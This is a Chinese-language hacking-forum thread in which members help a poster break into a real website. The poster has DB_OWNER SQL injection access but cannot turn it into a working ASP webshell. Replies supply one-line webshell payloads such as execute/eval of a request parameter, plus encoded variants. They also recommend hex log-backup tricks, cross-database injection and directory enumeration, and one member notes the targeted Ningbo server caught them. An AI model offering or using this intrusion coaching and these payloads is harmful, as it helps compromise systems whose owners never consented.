议题作者：Yyb1813
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

经过几小时的测试，依然没办法将站拿下传马不成功。

使用软件nbsi3.0找到注入点，权限为：DB_OWNER,知用户名不知密码，拿到数据库：tv_Data

使用nbsi3.0查找目录却无法查到网站目录，应而使用明小子猜到同一服务器下的一目录为：e:\web\mpo\此站点支持asp 并且网站为: http://www.***.com/ 可以打开。


使用nbsi3.0自带的Getwebshell却无法将文件写入e:\web\mpo\001.asp
查看发现001.asp写不进去。

使用GetWebshellah56bug大众版.也不行。

最后使用：xiaolu写的Getwebshell提交后将文件成功写入。查看：e:\web\mpo\001.asp
存在。

打开对应网站：http://www.***.com/ 001.asp提示如下：

Microsoft VBScript 编译器错误 错误 '800a0408'

无效字符

/001.asp，行 4338

I?扴?

=============为什么会这样？？？
我用一句话修改去连接无效。用蓝屏一句话连接也无效，修改xiaolu写的Getwebshell为蓝屏等的连接：<%execute request("l")%>
多种方法还是没办法成功，连接不上。

我要如何做了。搞了一天没解决。

[s:92]

数据库不干净，有权限的话，换个数据库备

这个简单。。用臭要饭的webshell导入大法吧~

手工log备份比较好~
最好是用16进制

[s:75] 没插进去~~~~到insert那步出错了...建议换个库插插插 [s:82]

引用:

这里是引用第[5 楼]的hack520于2006-08-01 02:56发表的：
[s:75] 没插进去~~~~到insert那步出错了...建议换个库插插插 [s:82]

猪三哥啊，我天天在啃你的注入，都没搞掂，现在这个飞了。
呵呵。这是宁波的服务器，现在给他发现了，什么权限都没有了，什么文件夹都设成只读了，哎，没了没了！

换冰狐的那个小马插然后用一句话客户连也可以我试过

用EVAL吧
不行就试试转换一下一句马
<%execute(request("l"))%>
<%%25execute(request("l"))%%25>都试试吧。~

估计是数据库里有%,反正出不来~。~

遇到过
1 重新寻找注射点，目的是换库。这点注射工具可检测出
2 多次备份。还是用导出日志大法比较好，备份出来的文件大小都比较理想

可能是服务器的asp 过滤了一些东西,换个注入点再试试,
找不同目录下的asp , 应该可以找出不同数据库的可用注入点

可能你备份的目录没有写入权限

Sql db_owner权限注入成功之后,
通过读取注册表拿web路径,但没权限,读取失败.
现在改用xp_redtree过程读取硬盘目录,能读取,并且保存在test表中,
通过openrowset远程insert失败,提示连接失败(我自己计算机能连,它不能连,应该不是外部数据库问题吧).

想请教的是:现在如何读取test表的所有内容?
我想过用猜解,但是怕慢.

有人有更好方法吗

如果是要入侵，那就换别的方法，别吊死在一棵树上

如果是解决这个问题，我建议你去查查关于asp的错误号，估计会有眉目...

如果找到库的位置，手动LOG备份吧，就象楼楼上的最好用16进制的。

一句话木马成功依赖于两个条件：
１、服务端没有禁止adodb.Stream或FSO组件
２、权限问题：如果当前的虚拟目录禁止user级或everyone写入的话也是不会成功的。

谁有aspx的一句话啊`找了好长时间没找到了```郁闷死`

引用:

引用第10楼唐不狐于2006-08-16 22:10发表的:
遇到过
1 重新寻找注射点，目的是换库。这点注射工具可检测出
2 多次备份。还是用导出日志大法比较好，备份出来的文件大小都比较理想

如果有其他库权限直接跨库就可以了。
个人认为一个站多个数据库又有多个注射点对应不同库的几率不如一个用户多个库的权限的几率大。

换成这样试试<%eval(request("l"))%>。或改变为十六进制。
顺便借此宝地问一下DB_OWNER权限下怎样用SQL语句暴出网站路径

我也遇到过，一句已经写入成功，可是旧在上船木马的时候不成功。。
或者是提示上船成功，可是连接出现404，或者干脆旧不能上船

鄙人，把各种一句话服务端试过以后，再用NBSI插入，木马成功执行。

但鄙人并不知道原因，还请高手赐教。

曾经遇到跟楼主一样的情况，
一句话插入，生成的asp文件，访问存在，就是链接不了。
错误号没看，也许不一样。
然后尝试log备份，直接失败。

关于手工LOG备分，每一步返回的页面都正常，可惜还是找不到备分的文件。还有，我下载了几个NBSI，都检查不出漏洞，而啊D却可以，是NBSI的版本问题吗？

我也遇到这样的情况真麻烦啊。。。多换换工具，代码也换成16进制，或者把符号都转义下试把。。多一种路子多一个成功的机会了

最近搞了个站也是一句话已经上去了 。能看目录 。但是就是不能传东西 一传东西就404错误，就算建立个普通文本也不行 。有个传上去了就是乱码 。#·！